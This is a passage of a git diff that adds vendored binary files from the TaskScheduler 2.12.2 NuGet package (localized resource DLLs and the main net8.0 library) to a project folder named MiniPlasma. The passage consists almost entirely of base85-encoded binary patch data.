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 AUjP6A literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/tr/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/tr/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..8e5359485b72c37235599123fea2386280278b2e GIT binary patch literal 10240 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 E0lFBWF#rGn literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..ffb73433fd728bfe87daeaffe023873a135d6e14 GIT binary patch literal 9728 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 literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/Microsoft.Win32.TaskScheduler.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/Microsoft.Win32.TaskScheduler.dll new file mode 100644 index 0000000000000000000000000000000000000000..724ad89d98a3dfe52bc1e81a3532ca944b50aab9 GIT binary patch literal 335360 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 